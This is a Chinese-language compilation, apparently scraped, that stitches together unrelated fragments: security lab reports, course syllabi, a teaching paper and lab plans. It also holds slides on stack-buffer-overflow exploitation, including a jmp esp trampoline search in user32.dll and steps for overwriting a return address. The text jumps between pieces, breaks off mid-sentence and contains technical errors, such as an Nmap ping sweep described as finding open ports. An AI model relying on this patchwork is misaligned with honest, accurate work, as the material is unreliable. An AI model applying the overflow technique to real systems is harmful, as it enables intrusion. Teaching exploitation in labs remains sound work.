2《软件安全实验》漏洞利用技术

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计算机安全实验报告

计算机安全实验报告

一、实验目的随着信息技术的飞速发展,计算机网络安全问题日益凸显。

为了提高学生的网络安全意识,掌握网络安全防护技能,本次实验旨在通过模拟网络安全攻击和防护,让学生了解网络安全的基本概念、攻击手段和防护措施,提高学生的网络安全防护能力。

二、实验环境1. 实验软件:Kali Linux(用于模拟攻击)、Metasploit(用于攻击工具)、Wireshark(用于网络数据包捕获与分析)2. 实验设备:两台计算机(一台作为攻击者,一台作为受害者)三、实验内容1. 网络扫描(1)使用Nmap扫描目标主机的开放端口,了解目标主机的基本信息。

(2)分析扫描结果,找出可能存在的安全漏洞。

2. 漏洞利用(1)针对目标主机发现的漏洞,利用Metasploit进行漏洞利用。

(2)分析攻击过程,了解漏洞利用的原理和技巧。

3. 数据包捕获与分析(1)使用Wireshark捕获攻击过程中的网络数据包。

(2)分析数据包内容,了解攻击者的攻击手法和目标主机的响应。

4. 防护措施(1)针对发现的漏洞,采取相应的防护措施,如更新系统补丁、关闭不必要的服务等。

(2)学习防火墙、入侵检测系统等网络安全设备的使用方法,提高网络安全防护能力。

四、实验步骤1. 准备实验环境(1)在攻击者和受害者主机上安装Kali Linux操作系统。

(2)配置网络,使两台主机处于同一局域网内。

2. 网络扫描(1)在攻击者主机上打开终端,输入命令“nmap -sP 192.168.1.1”进行扫描。

(2)查看扫描结果,了解目标主机的开放端口。

3. 漏洞利用(1)在攻击者主机上打开终端,输入命令“msfconsole”进入Metasploit。

(2)搜索目标主机存在的漏洞,如CVE-2017-5638。

(3)使用Metasploit中的CVE-2017-5638漏洞模块进行攻击。

4. 数据包捕获与分析(1)在受害者主机上打开Wireshark,选择正确的网络接口。

计算机信息安全与网络攻防技术

计算机信息安全与网络攻防技术

计算机信息安全与网络攻防技术一、计算机信息安全1.信息安全概念:信息安全是指保护计算机硬件、软件、数据和网络系统免受未经授权的访问、篡改、泄露、破坏和滥用的一系列措施。

2.信息安全目标:保密性、完整性、可用性、可靠性、可追溯性、可控制性。

3.信息安全威胁:病毒、木马、蠕虫、间谍软件、钓鱼攻击、黑客攻击、拒绝服务攻击、数据泄露、权限滥用等。

4.信息安全防护技术:防火墙、入侵检测系统、入侵防御系统、加密技术、安全认证、安全协议、安全操作系统、安全数据库、安全网络等。

5.信息安全策略与标准:制定安全策略、安全政策、安全程序、安全标准、安全基线等。

6.信息安全管理和组织:安全管理组织、安全管理人员、安全培训与教育、安全审计与评估、安全事件处理与应急响应等。

二、网络攻防技术1.网络攻防概念:网络攻防技术是指利用计算机网络进行攻击和防御的一系列技术。

2.网络攻击方法:密码攻击、口令攻击、拒绝服务攻击、分布式拒绝服务攻击、漏洞攻击、钓鱼攻击、社交工程攻击、网络嗅探、中间人攻击等。

3.网络防御技术:入侵检测系统、入侵防御系统、防火墙、安全扫描、安全审计、安全策略、安全协议、安全漏洞修复、安全防护软件等。

4.网络攻防工具:黑客工具、渗透测试工具、安全评估工具、漏洞扫描工具、攻击模拟工具等。

5.网络攻防实践:网络安全实验、攻防演练、实战竞赛、安全实验室建设等。

6.网络攻防发展趋势:人工智能在网络攻防中的应用、网络安全自动化、安全大数据、云计算与物联网安全、移动安全等。

三、中学生计算机信息安全与网络攻防技术教育1.教育目标:提高中学生计算机信息安全意识,培养网络安全技能,增强网络安全防护能力。

2.教育内容:计算机信息安全基础知识、网络攻防技术原理、网络安全防护措施、网络攻防实践等。

3.教育方法:课堂讲授、实验操作、案例分析、攻防演练、竞赛活动等。

4.教育资源:教材、网络课程、课件、实验设备、安全实验室等。

5.教育评价:课堂表现、实验操作、竞赛成绩、安全防护能力评估等。

操作系统安全实验报告

操作系统安全实验报告

操作系统安全实验报告操作系统是计算机必不可少的重要组成部分,它控制和管理计算机的硬件和软件资源。

安全是操作系统设计中不可忽视的一个方面,因为操作系统安全的缺陷将会导致计算机系统受到攻击甚至被控制。

本实验将演示一些常见的操作系统安全问题,并且提供一些实现技术,以保持计算机系统的安全。

一、实验目的1.了解和应用操作系统的安全机制。

2.通过操作系统安全漏洞的扫描和分析,掌握安全攻防的方法和技巧。

3.通过模拟实验操作,了解如何保护计算机系统不受恶意攻击。

二、实验环境操作系统:Windows 7工具软件:Metasploit、Nessus、Snort、Wireshark等三、实验内容操作系统的安全问题是计算机系统的基础性问题,其设计安全机制的目的是保证计算机系统的稳定、安全和可靠。

安全机制包括身份认证、存取控制、加密技术、密钥管理等。

在一个计算机系统中,操作系统是最重要的安全防护措施。

其机制包括:①登录身份验证:通过输入用户名和密码,确认用户的身份,确保只有认证的用户才能进入系统。

②文件访问控制:用户只能访问其拥有权限的文件和文件夹。

③口令管理:向用户提示更改用户口令的时间,管理员更改口令时需要重复输入。

④安全日志:记录重要的系统事件,为检测和防止安全问题提供依据。

⑤病毒和恶意程序的删除:安装杀毒软件,扫描系统并清除感染的病毒和恶意程序。

2. 安全漏洞扫描和分析安全漏洞扫描是通过对目标系统进行全面扫描,识别和确认目标系统存在的漏洞以及攻击者可能利用漏洞侵入的尝试。

常用的安全漏洞扫描工具有Nessus、OpenVAS等。

Nessus是一种广泛使用的开源安全工具,可以对网络上已知的漏洞进行扫描和检测,因此是安全人员发现网络系统的漏洞的重要工具之一。

在扫描中使用Nessus即可扫描目标主机的各种漏洞并给出报告,方便管理用户即使不是信息安全专业人士,也可以轻松检查主机系统中的安全漏洞。

3. 安全攻防技术安全攻防技术是一项基础的信息安全技术,其目的是定位和检测系统中的漏洞,找出安全防御的缺陷,以及针对潜在的安全问题进行定制化和有效的反应方式。

《网络信息安全与维护》课程标准

《网络信息安全与维护》课程标准

《网络信息安全与维护》课程标准一、课程概述(一)课程名称网络信息安全与维护(二)课程性质本课程是一门面向计算机相关专业学生的专业核心课程,旨在培养学生的网络信息安全意识和维护能力,为学生今后从事网络安全相关工作奠定基础。

(三)课程目标1、知识目标(1)了解网络信息安全的基本概念、原理和技术。

(2)熟悉常见的网络攻击手段和防御方法。

(3)掌握网络安全管理的基本流程和策略。

2、能力目标(1)能够运用所学知识对网络系统进行安全评估和风险分析。

(2)能够配置和使用常见的网络安全设备和工具。

(3)能够处理常见的网络安全事件,并采取有效的应急响应措施。

3、素质目标(1)培养学生的网络信息安全意识和责任感。

(2)提高学生的团队协作能力和沟通能力。

(3)培养学生的创新精神和解决实际问题的能力。

二、课程内容(一)网络信息安全基础1、网络信息安全的概念、目标和重要性。

2、网络信息安全的发展历程和趋势。

3、网络信息安全的法律法规和道德规范。

(二)网络攻击技术1、网络扫描与嗅探技术。

2、网络漏洞利用技术。

3、恶意软件与病毒技术。

4、网络钓鱼与社会工程学攻击技术。

(三)网络防御技术1、防火墙技术。

2、入侵检测与防御技术。

3、加密与解密技术。

4、身份认证与访问控制技术。

(四)网络安全管理1、网络安全策略制定与实施。

2、网络安全风险评估与管理。

3、网络安全应急预案制定与演练。

(五)网络信息安全实践1、网络安全设备的配置与管理。

2、网络安全工具的使用与实践。

3、网络安全攻防实验。

三、课程实施(一)教学方法1、采用课堂讲授、案例分析、实验教学、小组讨论等多种教学方法相结合,以提高学生的学习积极性和主动性。

2、利用多媒体教学手段,如幻灯片、视频等,增强教学的直观性和生动性。

(二)教学手段1、建设网络教学平台,提供丰富的教学资源,如教学课件、实验指导书、在线测试等,方便学生自主学习。

2、利用虚拟实验室和实际网络环境,为学生提供实践操作的机会,提高学生的实际动手能力。

网络与信息安全技术实验报告

网络与信息安全技术实验报告

网络与信息安全技术实验报告一、实验目的随着信息技术的飞速发展,网络与信息安全问题日益凸显。

本次实验的目的在于深入了解网络与信息安全技术的原理和应用,通过实际操作和实验分析,提高对网络攻击与防御的认识和应对能力,增强信息安全意识,为保障网络环境的安全稳定奠定基础。

二、实验环境本次实验在以下环境中进行:1、操作系统:Windows 10 专业版2、实验软件:Wireshark 网络协议分析工具、Nmap 端口扫描工具、Metasploit 渗透测试框架等三、实验内容与步骤(一)网络数据包捕获与分析1、打开 Wireshark 软件,选择合适的网络接口进行数据包捕获。

2、在捕获过程中,访问了一些常见的网站,如百度、淘宝等,并进行了文件下载操作。

3、停止捕获后,对捕获到的数据包进行分析。

重点关注了 TCP 三次握手、HTTP 请求与响应、DNS 查询等过程。

通过分析 TCP 三次握手,了解了建立连接的过程和相关标志位的变化。

对 HTTP 请求与响应的分析,掌握了网页访问时的数据传输格式和内容。

DNS 查询的分析有助于了解域名解析的过程和机制。

(二)端口扫描与服务探测1、运行 Nmap 工具,对目标主机进行端口扫描。

2、设定了不同的扫描参数,如全端口扫描、特定端口扫描等。

3、对扫描结果进行分析,确定目标主机开放的端口以及可能运行的服务。

发现开放的端口如80(HTTP)、443(HTTPS)、22(SSH)等。

根据端口对应的服务,初步评估目标主机的安全性。

(三)漏洞利用与渗透测试1、利用 Metasploit 框架,选择了一些常见的漏洞模块进行测试。

2、对目标主机进行了漏洞扫描,发现了一些可能存在的安全漏洞。

3、尝试利用漏洞获取系统权限,如通过弱口令漏洞登录系统。

四、实验结果与分析(一)网络数据包捕获与分析结果1、 TCP 三次握手过程正常,标志位的变化符合标准协议。

2、 HTTP 请求与响应中,未发现明显的异常数据传输,但部分网站的响应时间较长,可能与网络拥堵或服务器负载有关。

网络安全培训内容

网络安全培训内容

网络安全培训内容一、引言随着互联网技术的飞速发展,网络安全问题日益突出,已成为影响国家安全、经济发展和社会稳定的重要因素。

为了提高网络安全意识,提升网络安全防护能力,我国政府高度重视网络安全培训工作,将其纳入国家战略。

本篇文档旨在梳理网络安全培训的核心内容,为广大网络安全从业人员提供参考。

二、网络安全意识培训1.网络安全法律法规:了解我国网络安全法律法规体系,包括《网络安全法》、《数据安全法》等,明确网络安全合规要求。

2.网络安全意识:培养良好的网络安全意识,认识到网络安全的重要性,自觉遵守网络安全规定,防范网络安全风险。

3.个人信息保护:了解个人信息保护的基本原则和措施,学会保护自己的个人信息,避免泄露给不法分子。

4.常见网络威胁:认识各种网络威胁,如钓鱼邮件、恶意软件、社交工程等,学会防范和应对方法。

三、网络安全技能培训1.网络安全防护技术:学习网络安全防护技术,包括防火墙、入侵检测系统、病毒防护软件等,掌握安全设备的配置和使用方法。

2.网络安全漏洞扫描与评估:了解网络安全漏洞扫描与评估的方法,学会使用相关工具进行网络安全检查,发现潜在的安全隐患。

3.网络安全事件应急响应:学习网络安全事件应急响应流程,掌握应急响应技术和方法,提高应对网络安全事件的能力。

4.数据加密与安全传输:了解数据加密技术,学会使用加密工具对重要数据进行加密保护,确保数据传输的安全性。

四、网络安全管理培训1.网络安全政策与制度:学习网络安全政策与制度,了解网络安全管理体系,掌握网络安全管理的规范和方法。

2.网络安全风险评估与管理:了解网络安全风险评估的方法,学会制定网络安全防护策略,降低网络安全风险。

3.网络安全审计与监控:学习网络安全审计与监控技术,掌握网络安全审计与监控的方法,及时发现和处置网络安全问题。

4.网络安全培训与宣传教育:了解网络安全培训与宣传教育的重要性,学会组织开展网络安全培训与宣传教育活动,提高全体员工的网络安全意识。

课程思政融入信息安全专业课程《软件安全》的教学实践

课程思政融入信息安全专业课程《软件安全》的教学实践
当前随着兴趣小组的内部交流,由于知识难度、实 践交流讲解水平的差异,导致兴趣小组内优秀的同学知 识掌握越发牢固、信心也越发充足,与之对比的新情况 是,新成员由于知识理解不充分或动手实践能力受到对 比式降维打击,出现心理落差,甚至出现放弃心态,最 终造成兴趣小组的拉动作用未达预期,呈现学习效果不 明显局面。 3《软件安全》课程的一点经验建议
文章编号:1007-9416(2023)10-0037-03
课程思政融入信息安全专业课程《软件安全》的教学实践
北方工业大学 杜春来
当前,随着软件功能的需求增加,导致代码量的规 模不断持续扩大且复杂度激增,攻击者通过实施恶意代 码的注入、隐藏使得用户面临极大的风险,如何有效与 之对抗的需求越发强烈。高校肩负人才的培养职能,针 对《软件安全》课程在提升学生对恶意代码分析与对抗 能力的同时,因该课程知识的“双刃剑”安全属性,需 将思政融入课程,加强学生的守法守纪教育。 1 思政融入《软件安全》课程讲授的必要性
3.1 课程思政融入《软件安全》课程教学是非常必 要的
在讲授课程知识的内容时,特别是以某一具体计算 机病毒举例展现其实现技术细节时,加强学生的守法守 纪教育,特别是对于动手实践能力强且跃跃欲试进行尝 试的同学。此外,经过分析,由于网络空间安全专业和 信息安全专业的知识点多导致的课程数量上相对于计算 机专业多,使得第 2 类学生普遍编程重复训练度不足, 因此可加强该类学生的代码复现,在复现过程中,提升 自身的编程能力。这一点要求任课教师多部署自选作业
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杜春来:课程思政融入信息安全专业课程《软件安全》的教学实践
2023 年第 10 期
学生类别
表 1 学生学习情况分类 Tab.1 Classification of student learning situation

网络安全攻防实验室方案

网络安全攻防实验室方案

网络安全攻防实验室方案网络安全攻防实验室方案一、背景随着互联网的普及和发展,网络安全问题日益突出。

为了增强网络安全防护能力,提高对网络攻击的应对能力,组建一个网络安全攻防实验室势在必行。

本方案旨在详细说明网络安全攻防实验室的建设方案及相关运行细则。

二、实验室组成1.实验室硬件设施a) 服务器集群:包括主服务器和多个从服务器,用于支持实验室各类实验和训练需求。

b) 网络设备:包括路由器、交换机等,用于搭建实验室网络环境。

c) 安全设备:包括防火墙、入侵检测系统等,用于保护实验室网络安全。

d) 实验终端设备:包括实验用电脑、虚拟机等,用于进行实验和训练。

2.实验室软件配置a) 安全操作系统:选择一款安全性能较好的操作系统作为实验室统一使用的操作系统。

b) 安全软件工具:安装并配置各类常用的网络安全工具,如Wireshark、Nmap等。

c) 实验平台:搭建一个实验平台,用于提供丰富的实验题目和攻防对抗平台。

三、实验项目1.网络侦察与扫描实验a) 通过网络侦察与扫描工具,对目标网络进行扫描,探测服务和漏洞。

b) 学习如何分析扫描结果,识别潜在威胁及防御措施。

2.漏洞利用与渗透实验a) 学习漏洞挖掘与利用技术,利用漏洞入侵目标系统。

b) 学习渗透测试方法,评估系统弱点并提出修复建议。

3.威胁情报与事件响应实验a) 掌握威胁情报收集与分析的方法,及时了解网络威胁情报。

b) 学习网络事件响应流程和处理技巧,提高对网络攻击的响应能力。

4.安全加固与检测实验a) 学习网络和系统的安全加固方法,提高系统的抗攻击能力。

b) 掌握常用的安全检测工具和方法,定期对实验室网络进行检测和评估。

四、实验项目管理1.实验预约与排期a) 设立预约系统,学生可以提前预约实验时间和设备;b) 设立实验排期表,合理安排不同实验项目的时间。

2.实验成绩评估与管理a) 设立实验成绩评估标准,将实验成绩纳入学生综合评价体系;b) 设立成绩管理系统,记录和管理学生的实验成绩。

2 《软件安全实验》_漏洞利用技术

2 《软件安全实验》_漏洞利用技术

二、定位shellcode —栈帧移位与jmp esp 一般情况下, ESP 寄存器中的地址总是
指向系统栈中,且不会被溢出的数据破坏。
函数返回时, ESP 所指的位置恰好是我们所
淹没的返回地址的下一个位置,如下图所示
二、定位shellcode —栈帧移位与jmp esp
正常栈数据 正常栈数据 Buffer:shellcode shellcode shellcode EBP(被覆盖) 返回地址(地址A) 正常栈数据 正常栈数据 正常栈数据 使用静态地址定位,栈帧移 位时,无法精确定位 正常栈数据 正常栈数据 Buffer(任意填充物) 任意填充物 任意填充物 EBP(被覆盖) 返回地址(jmp esp) shellcode shellcode shellcode 正常栈数据 其他指令 Jump ESP 其他指令
有的进程加载,且加载基址始终相同。
二、定位shellcode —获取“跳板”的地址
jmp esp对应的机器码是0xFFE4,我们可以写一个程序来
从user32.dll在内存中的基地址开始向后搜索 0xFFE4,找到就返 回其内存地址(指针值)。
代码核心部分如下:
BYTE *ptr; int position,address; HINSTANCE handle; BOOL done_flag=FALSE;
由于记事本只能输入可见的文字,有局限,我
们用UltraEdit打开password.txt文件
淹没返回地址
打开后我们选择2进制编辑的模式(图标是
010101的那个按钮)
前 16 个字节我们就输入 4321432143214321 就 好了 4321转化为16进制的ASCII码为34333231

软件安全实验步骤

软件安全实验步骤

软件安全实验步骤1. 实验背景软件安全实验是计算机科学与技术、网络工程等专业的核心实验之一,目的是培养学生的软件安全意识和实践能力,了解软件安全攻防的基本原理、技术和方法。

2. 实验目的本次实验的目的是让学生了解软件安全攻防的基本流程和方法,提高学生的软件安全意识和实践能力。

3. 实验环境本次实验需要使用以下环境:•操作系统:Windows或Linux•编程语言:C、C++、Java等•开发工具:Visual Studio、Eclipse、NetBeans等4. 实验步骤4.1 熟悉软件安全基础知识在进行软件安全实验前,需要学生已经掌握以下基础知识:•常见的软件漏洞类型,如缓冲区溢出、整数溢出、语言特性漏洞等;•软件攻击的基本原理和方法,如代码注入、代码执行、拒绝服务攻击等;•常见的软件安全防御措施,如堆栈保护、ASLR、 DEP等。

4.2 基本的软件安全漏洞实验基于已有的软件安全知识,学生需要实现以下基本漏洞:•缓冲区溢出漏洞•格式化字符串漏洞•整数溢出漏洞实现后,学生需要进行漏洞测试,观察程序是否能够准确地捕捉到漏洞。

4.2.1 缓冲区溢出漏洞实验缓冲区溢出漏洞是最常见的软件漏洞之一。

学生需要通过编写包含缓冲区溢出漏洞的程序,通过输入一些超过缓冲区空间的数据,来尝试修改程序的行为。

4.2.2 格式化字符串漏洞实验格式化字符串漏洞是一种常见的软件漏洞。

通过控制格式化字符串的输入,攻击者可以修改程序堆栈中的数据,从而实现代码执行、篡改数据等操作。

学生需要编写一个包含格式化字符串漏洞的程序,并通过输入特定的格式化字符串来修改程序的行为。

4.2.3 整数溢出漏洞实验整数溢出漏洞也是常见的软件漏洞。

通过让程序计算超出正常计算范围的数据,攻击者可以实现一些意想不到的操作。

学生需要编写一个包含整数溢出漏洞的程序,并通过输入超过程序正常计算范围的数据来观察程序的行为。

4.3 常见的软件安全防御措施实验软件安全防御措施是保障软件安全的关键措施。

《网络安全》教学大纲(软工)

《网络安全》教学大纲(软工)

《网络安全》课程教学大纲课程编码: 4300168 课程总学时: 48 ,理论学时:40 ,实践(实验)学时:8 课程学分:3开课学期: 7 适用专业:软件工程一、教学目标使学生掌握网络安全的基本知识,并为学生进一步从事网络安全工作,做好知识准备;使学生掌握网络安全及其防范技术的基本方法,并能自觉运用安全管理的技术与规范;使学生了解网络安全的标准和法律法规,自觉维护网络系统的安全。

二、课程性质与任务本课程是计算机科学与技术专业学生的一门网络方向学科专业课。

主要讲述计算机系统的安全技术及其方法。

内容包括计算机系统的环境安全、软件安全、数据加密技术、网络安全与防火墙技术、计算机病毒的诊断与消除等。

三、预修课程学习本课程之前,应先学习计算机文化、计算机网络、操作系统和数据库原理等课程。

四、学时分配本课程总学时48学时,其中课堂讲授24学时,实验教学24学时。

课堂讲授内容与学五、讲授内容第一章网络安全概述教学目的和要求:了解网络安全研究的体系、研究网络安全的必要性、研究网络安全社会意义以及目前计算机网络安全的相关法规。

如何评价一个系统或者应用软件的安全等级。

教学难点和重点:重点是网络安全相关的基本概念,网络安全研究的体系结构以及配置实验环境。

难点是网络安全防护体系。

教学内容:第一节网络安全基础知识1 网络安全的定义2 网络安全的特征3网络安全的重要性第二节网络安全的主要威胁因素1 协议安全问题2 操作系统与应用程序漏洞3 安全管理问题4 黑客攻击5 网络犯罪第三节常用的防范措施1 完善安全管理制度2 采用访问控制3 数据加密措施4 数据备份与恢复第四节网络安全策略1 我国评价标准2 国际评价标准第五节环境配置1 安装VMware虚拟机2 配置VMware虚拟机3 Sniffer工具的介绍和使用第二章远程攻击的一般步骤教学目的和要求:要求掌握网络攻击的过程及其分类。

理解本地入侵和远程入侵的区别。

掌握远程攻击的一般方法和使用工具,掌握远程攻击的一般过程。

软件安全系统漏洞检测

软件安全系统漏洞检测

学年论文(文献检索及专业写作常识2015-2016 第二学期)题目:软件安全漏洞检测作者:熊文丽所在学院:信息科学与工程学院专业年级:信息安全14-1 指导教师:琳琳职称:副教授2016年5月25 日摘要互联网的全球性普及和发展,使得计算机网络与人们的生活紧密相关,信息安全逐渐成为信息技术的核心问题,软件漏洞检测是信息安全的重要组成部分,漏洞带来的危害日益严重,恶意攻击者可以利用软件漏洞来访问未授权的资源,导致敏感数据被破坏,甚至威胁到整个信息安全系统。

计算机软件安全漏洞,计算机系统的一组特性,这些特性一旦被某些恶意的主体利用,通过已授权的手段,来获取对计算机资源的未授权访问,或者通过其他办法对计算机的系统造成损害。

首先定义了软件漏洞和软件漏洞分析技术,在此基础上,提出了软件漏洞分析技术体系,并对现有技术进行了分类和对比,归纳出了该领域的科学问题、技术难题和工程问题,最后展望了软件漏洞分析技术的未来发展。

关键词:软件安全,漏洞检测,信息安全ABSTRACTGlobal popularity and development of the Internet so that the computer network is closely related to people's lives, information security has gradually become the core of information technology, software, information security vulnerability detection is an important part of the growing vulnerability harm, malicious attackers You can take advantage of software vulnerabilities to access unauthorized resources, resulting in destruction of sensitive data, even a threat to the entire information security system. A set of characteristics of computer software security vulnerability of computer systems, these features once exploited by some malicious body through authorized means to gain unauthorized access to computer resources, or through other means cause damage to computer systems.First, the definition of software vulnerabilities and vulnerability analysis software technology, on this basis, the proposed software vulnerability analysis technology system, and the prior art are classified and contrast, sums up the problem in the field of scientific, technical problems and engineering problems, Finally, the prospect of future development of the software vulnerability analysis technology.Keywords: software security; vulnerability detection; information security目录1 绪论 (3)1.1 背景 (3)1.2国外研究现状 (4)2 软件安全漏洞概述 (6)2.1漏洞的定义 (6)2.2 计算机软件所面临的主要安全威胁 (7)2.3 漏洞的分类 (7)2.4 漏洞的特征 (7)2.5 常见的计算机软件安全漏洞 (8)2.6 软件安全漏洞产生的原因 (9)3 软件安全漏洞检测方法 (10)3.1静态分析 (10)3.2动态检测 (12)3.3 混合检测技术 (13)4 软件漏洞分析技术 (15)4.1漏洞分析技术分类 (15)4.2软件架构分析 (15)4.3代码静态分析 (17)4.4 代码动态分析 (19)4.5 动静结合分析 (20)4.6漏洞定位 (20)5 软件漏洞分析中的关键性问题 (22)5.1 科学问题 (22)5.2技术难题 (23)5.3工程问题 (23)6 计算机软件漏洞检测技术的实践应用 (24)7 总结与未来展望 (25)致 (26)参考文献 (27)附录 (28)1 绪论1.1 背景计算机技术的发展促进了信息全球化的进程,提高了计算机的普及,人类的各个领域都已经离不开计算机应用。

计算机网络安全技术 实验报告

计算机网络安全技术 实验报告

计算机网络安全技术实验报告一、实验目的随着信息技术的飞速发展,计算机网络在各个领域得到了广泛的应用。

然而,网络安全问题也日益凸显,给个人、企业和社会带来了严重的威胁。

本次实验的目的在于深入了解计算机网络安全技术,通过实际操作和实验分析,掌握常见的网络攻击手段和防御方法,提高网络安全意识和防范能力。

二、实验环境本次实验使用了以下软件和硬件环境:1、操作系统:Windows 10 专业版2、网络模拟软件:Packet Tracer3、漏洞扫描工具:Nmap4、防火墙:Windows Defender Firewall三、实验内容(一)网络拓扑结构搭建使用 Packet Tracer 软件搭建了一个简单的网络拓扑结构,包括客户端、服务器、路由器和交换机等设备,模拟了一个企业内部网络环境。

(二)网络攻击实验1、端口扫描使用Nmap 工具对网络中的主机进行端口扫描,获取开放端口信息,分析可能存在的服务和漏洞。

2、漏洞利用针对扫描发现的漏洞,尝试利用相关工具进行攻击,如 SQL 注入攻击、缓冲区溢出攻击等。

3、恶意软件植入通过网络共享、邮件附件等方式,向客户端植入恶意软件,观察其对系统的影响。

(三)网络防御实验1、防火墙配置在 Windows Defender Firewall 中设置访问规则,限制外部网络对内部网络的访问,阻止非法连接。

2、入侵检测与防范安装入侵检测系统(IDS),实时监测网络中的异常流量和攻击行为,并及时采取防范措施。

3、系统更新与补丁管理定期对操作系统和应用程序进行更新,安装安全补丁,修复已知漏洞,提高系统的安全性。

四、实验结果与分析(一)网络攻击实验结果1、端口扫描通过端口扫描发现,服务器开放了 80(HTTP)、443(HTTPS)、3389(远程桌面)等端口,客户端开放了 135(RPC)、139(NetBIOS)、445(SMB)等端口。

这些开放端口可能存在潜在的安全风险。

2、漏洞利用在 SQL 注入攻击实验中,成功获取了数据库中的敏感信息;在缓冲区溢出攻击实验中,导致服务器系统崩溃。

网络信息安全实验报告

网络信息安全实验报告

网络信息安全实验报告一、实验目的随着信息技术的飞速发展,网络已经成为人们生活和工作中不可或缺的一部分。

然而,网络信息安全问题也日益凸显,给个人、企业和国家带来了严重的威胁。

本次实验的目的是通过实际操作和分析,深入了解网络信息安全的重要性,掌握常见的网络攻击手段和防御方法,提高网络信息安全意识和防范能力。

二、实验环境本次实验在实验室的局域网环境中进行,使用了以下设备和软件:1、计算机:若干台,安装了 Windows 操作系统和常用的网络安全工具。

2、网络设备:路由器、交换机等,用于构建实验网络。

3、网络安全工具:Wireshark、Nmap、Metasploit 等。

三、实验内容(一)网络扫描与探测使用 Nmap 工具对目标网络进行扫描,获取网络拓扑结构、主机信息、开放端口等。

通过分析扫描结果,了解目标网络的安全状况,发现潜在的安全漏洞。

(二)漏洞利用利用 Metasploit 框架,针对目标系统中存在的漏洞进行攻击实验。

例如,针对常见的操作系统漏洞、Web 应用漏洞等,尝试获取系统权限、窃取敏感信息等。

(三)网络监听与分析使用 Wireshark 工具对网络流量进行监听和分析。

捕获数据包,分析其中的协议、源地址、目的地址、数据内容等,发现异常的网络通信行为,如网络攻击、数据泄露等。

(四)防火墙配置与测试在实验网络中配置防火墙,设置访问控制策略,阻止非法访问和攻击。

测试防火墙的有效性,观察其对网络攻击的防御能力。

(五)密码破解与加密尝试使用常见的密码破解工具,对弱密码进行破解。

同时,学习使用加密算法对敏感信息进行加密,保护数据的安全性。

四、实验步骤及结果(一)网络扫描与探测1、打开 Nmap 工具,输入目标网络的 IP 地址范围。

2、选择扫描类型,如全面扫描、端口扫描等。

3、启动扫描,等待扫描结果。

4、分析扫描结果,发现目标网络中存在多台主机,开放了多个端口,如 80(HTTP)、22(SSH)、443(HTTPS)等。

漏洞扫描实验报告

漏洞扫描实验报告

南京工程学院实验报告题目漏洞扫描课程名称网络与信息安全技术院(系、部、中心)康尼学院专业网络工程班级K 网络工程111学生姓名赵志鹏学号240111638 设计地点信息楼A216 指导教师毛云贵实验时间2014 年3 月13 日实验成绩漏洞扫描一:实验目的1.熟悉X-Scan工具的使用方法2.熟悉FTPScan工具的使用方法3.会使用工具查找主机漏洞4.学会对弱口令的利用5.了解开启主机默认共享以及在命令提示下开启服务的方法6.通过实验了解如何提高主机的安全性二:实验环境Vmware虚拟机,网络教学系统三:实验原理一.漏洞扫描简介漏洞扫描是一种网络安全扫描技术,它基于局域网或Internet 远程检测目标网络或主机安全性。

通过漏洞扫描,系统管理员能够发现所维护的Web 服务器的各种TCP/IP 端口的分配、开放的服务、Web服务软件版本和这些服务及软件呈现在Internet 上的安全漏洞。

漏洞扫描技术采用积极的、非破坏性的办法来检验系统是否含有安全漏洞。

网络安全扫描技术与防火墙、安全监控系统互相配合使用,能够为网络提供很高的安全性。

漏洞扫描分为利用漏洞库的漏洞扫描和利用模拟攻击的漏洞扫描。

利用漏洞库的漏洞扫描包括:CGI漏洞扫描、POP3漏洞扫描、FTP漏洞扫描、SSH漏洞扫描和HTTP漏洞扫描等。

利用模拟攻击的漏洞扫描包括:Unicode 遍历目录漏洞探测、FTP 弱口令探测、OPENRelay邮件转发漏洞探测等。

二.漏洞扫描的实现方法(1)漏洞库匹配法基于漏洞库的漏洞扫描,通过采用漏洞规则匹配技术完成扫描。

漏洞库是通过以下途径获取的:安全专家对网络系统的测试、黑客攻击案例的分析以及系统管理员对网络系统安全配置的实际经验。

漏洞库信息的完整性和有效性决定了漏洞扫描系统的功能,漏洞库应定期修订和更新。

(2)插件技术(功能模块技术)插件是由脚本语言编写的子程序,扫描程序可以通过调用它来执行漏洞扫描,检测系统中存在的漏洞。

信息安全基础课程标准

信息安全基础课程标准

XXX学校《网络安全实用项目教程》课程标准课程代号:编写人:编写时间:年月一、课程概述(一)课程性质网络安全是信息技术领域的重要研究课题,目前己经越来越受到人们的极大关注。

网络安全是一门学科专业课,属信息安全与管理专业(专科)的必修课。

主要目的在于使学生掌握信息安全的基本理论与方法,使学生获得进行信息安全技术防护的能力。

主要内容包括:物理安全、数据备份与容灾、加密与认证技术、防火墙技术、入侵检测与防御技术、漏洞扫描技术、隔离技术、虚拟专用网络(VPN)技术、系统访问控制与审计技术、计算机病毒与木马防范技术、基于内容的应用安全技术,结合管理问题提出了信息安全管理的实施步骤。

(二)课程基本理念本课程是一门面向计算机网络专业学生开设的专业必修课,课程理论与实践紧密结合,讲解防范最新的病毒、黑客程序和网络、安全维护的工具,介绍最新的网络安全技术,并通过学生的实际操作来了解最新的技术动向,为学生牛业后能更快地适应工作环境创造条件。

目的在于使学生较全面地学习有关信息安全的基本理论和实用技术,掌握信息系统安全防护的基本方法,培养信息安全防护意识,增强信息系统安全保障能力。

(三)课程设计思路在课程组织上,完全以安全实际工作流程来组织安排教学,把部门岗位实训模式和项目任务实训模式有机结合起来,同时注意知识的关联性、整体性和系统性。

课程内容以信息安全的相关案例为背景,要求学生掌握一定的信息安全基础知识,以案例为引导,使学生们在学习中运用安全知识,除了基本知识之外,还有安全加固、web安全、数据库安全等,不断夯实自己所学的安全技能。

设计中把教、学、做相结合,充分体现“以学生为主体,以实践为主导”的教学思路。

能提高学生的理论水平与培养学生的实际动手能力,使学生学了之后能获得一技之长,这正是高职院校所需要的。

通过本课程的讲授与实践,培养学生过硬实践操作能力。

从而适应信息社会的飞速发展,到达新时期对高职高专院校电脑应用专业学生基本素质的要求,并为以后进一步学习和应用相关知识打下坚实的基础。

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handle = LoadLibrary(“user32.dll”);
二、定位shellcode —获取“跳板”的地址
ptr = (BYTE*)handle;
for(position = 0;!done_flag;position++) { if(ptr[position]==0xFF&&ptr[position+1]==0xE4) { int address=(int)ptr + position; printf(“OPCODE at 0x%x\n”,address); }
二、定位shellcode 堆栈溢出实例
栈帧移位与jmp esp
获取“跳板”的地址
使用“跳板”定位的exploit
淹没返回地址
我们知道了,我们可以通过设计长度淹没邻接的 authenticated
